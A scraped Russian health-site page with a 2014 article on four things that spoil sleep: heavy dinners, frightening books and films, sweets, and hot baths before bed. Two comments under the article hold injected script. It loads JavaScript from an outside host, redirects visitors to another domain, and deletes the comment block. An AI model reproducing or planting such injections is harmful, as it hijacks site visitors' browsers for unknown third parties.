Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  4 врага сна и как их побе...  >>  4 врага сна и как их победить
 
Обратная связь
 

4 врага сна и как их победить

Размер шрифта
19 февраля 2014 00:00
  • google_analytics: false
  • Нравится

Поздний вечер – это время для отдыха, когда все дневное напряжение должно уступать место ночному сну. Но некоторые вещи могут сильно испортить ваш ночной отдых.

4 врага сна и как их победить

Плотный ужин

Французская мудрость, которая рекомендует ужинать как нищий, не так уж далека от истины. Конечно, тяжело отказать себе во вкусном ужине, особенно если вы пришли после длительного и тяжелого трудового дня. Поздний вечер – это время, когда вы, придя с работы, сбрасываете туфли, проводите время с семьей и усаживаетесь за неторопливый дружеский ужин. Но помните, что поздний вечер – это время, когда ваша пищеварительная система сбавляет темп работы и потихоньку готовится к отдыху. А повышенная нагрузка подобна стремлению сжечь запеканку при помощи свечки. Поэтому старайтесь на ужин есть что-то легкое и вкусное.

Страшные книги и фильмы

Если в аннотации к книге написано, что после прочтения у вас встанут волосы дыбом, то возможно стоит серьезно отнестись к этому предупреждению и отложить ее прочтение до светлого времени суток. Этим же советом можно воспользоваться и в отношении фильмов ужасов и психологических триллеров, потому что, как и страшные книги, они могут вызвать кошмары и стимулировать лобную долю мозга, что вызовет проблемы со сном. Отдавайте предпочтение легким книгам, которые вызывают только позитивные ассоциации, истории со счастливым концом, а еще лучше – просто обнимите любимого человека!

Сладости

В вечернее время диетический молочный коктейль, горсть изюма или вишен – это великолепный перекус для вашего здоровья. Но если вы решили угоститься внушительным куском шоколадного торта, то уровень сахара крови моментально достигнет высоких отметок, а это нарушит ваш сон и заставит вас чувствовать себя не самым комфортным образом. Отдавайте предпочтение свежим фруктам, легкой фруктовой запеканке или компоту.

Горячая ванна

Если вы примите горячую ванну, а затем сразу запрыгнете в кровать, то пройдет, скорее всего, немало времени перед тем, как вам удастся уснуть. Это связано с тем, что из-за горячей воды повышается температура тела, хотя ночью она наоборот немного понижается, тем самым подготавливая тело ко сну. Если вы жить не можете без горячей ванны, то принимайте ее за несколько часов до отхода ко сну.

Еще больше о секретах здорового сна узнайте на страницах нашего специального проекта «Сон без храпа».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:46

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:45

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Во сколько ложиться спать, чтобы не попасть в аварию? Вы удивитесь!   Как прикорнуть и зарядиться энергией на день   Как выспаться   Бессонные ночи делают из любимых врагов  
03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума? 15 июля 2013Сколько нужно спать, чтобы помнить все
 
11 июля 2013Ворочаетесь по ночам? У вас в два раза больше шансов умереть раньше! 01 ноября 2013ИНВИТРО – «Марка №1» в России
 

Слайдшоу

1
Как провести день, чтобы выспаться
Как студенческая жизнь влияет на здоровье
Что крадет ваш сон

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.